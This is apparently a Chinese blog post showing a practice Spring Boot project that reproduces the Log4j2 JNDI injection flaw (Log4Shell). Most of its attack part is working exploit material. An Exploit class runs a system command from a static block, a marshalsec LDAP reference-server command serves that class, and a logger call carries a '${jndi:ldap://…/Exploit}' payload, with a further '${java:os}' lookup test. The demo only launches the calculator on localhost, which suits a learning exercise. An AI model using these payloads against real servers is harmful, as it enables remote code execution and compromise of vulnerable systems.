简单spring boot项目,之前练习的,现在好像没有达到效果

  1. 简单的springboot项目 访问 http:localhost:8080 404就是启动成功了
  2. java调用命令行打开电脑计算器
  3. TODO 日志那部分有点问题,没有达到预期

spring boot 项目启动类

java 复制代码
package com.log4j2test;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Log4j2Application {

    public static void main(String[] args) {
        SpringApplication.run(Log4j2Application.class, args);
    }

}

一些日志测试的demo

打开电脑计算器

java 复制代码
package com.log4j2test.slf4j;

/**
 * @author
 * @data 2021/12/20
 * @time 9:58
 * @Description  java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888
 */
public class Exploit {

    /**
     * 服务器代码
     */
    static {
        System.err.println("Pwned");

        try {
            String calcStr = "calc";
            Runtime.getRuntime().exec(calcStr);
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }
}

测试日志并且调用打开电脑计算器

java 复制代码
public class LogTest {

    public static final Logger logger = LoggerFactory.getLogger(LogTest.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:8888/Exploit}");
        Exploit exploit =new Exploit();
        System.out.println(exploit);
    }
}

controller 这个没有达到预期

java 复制代码
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;

/**
 * @author
 * @data 2021/12/20
 * @time 10:02
 * @Description
 */
@Controller
public class TestController {

    public static final Logger logger = LoggerFactory.getLogger(LogTest.class);
    @PostMapping("/slf4j/hello")
    public void hello(){

        // 若输出 Java OS系统版本,则说明log4j将${}中的内容当作命令来执行了,不符合预期
        // 将log4j-core排除后运行该代码,结果则是当做字符串输出,符合预期结果
        logger.error("java:os : ${java:os}");
    }
}

一个空的application.properties

一个空的spring boot 测试类

java 复制代码
package com.log4j2test;

import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;

@SpringBootTest
class Log4j2ApplicationTests {

    @Test
    void contextLoads() {
    }

}
相关推荐
MegaDataFlowers7 分钟前
快速上手Spring
java·后端·spring
小江的记录本7 分钟前
【MyBatis-Plus】Spring Boot + MyBatis-Plus 进行各种数据库操作(附完整 CRUD 项目代码示例)
java·前端·数据库·spring boot·后端·sql·mybatis
左左右右左右摇晃9 分钟前
Java 笔记--OOM产生原因以及解决方法
java·笔记
大傻^13 分钟前
Spring AI Alibaba Function Calling:外部工具集成与业务函数注册
java·人工智能·后端·spring·springai·springaialibaba
逆境不可逃14 分钟前
LeetCode 热题 100 之 33. 搜索旋转排序数组 153. 寻找旋转排序数组中的最小值 4. 寻找两个正序数组的中位数
java·开发语言·数据结构·算法·leetcode·职场和发展
码界奇点20 分钟前
基于Spring Boot的医院药品管理系统设计与实现
java·spring boot·后端·车载系统·毕业设计·源代码管理
小旭952724 分钟前
Spring MVC :从入门到精通(下)
java·后端·spring·mvc
夏语灬25 分钟前
MySQL大小写敏感、MySQL设置字段大小写敏感
java
毕设源码-郭学长28 分钟前
【开题答辩全过程】以 某地红十字会门户网站为例,包含答辩的问题和答案
java
林夕sama29 分钟前
多线程基础(四)
java·开发语言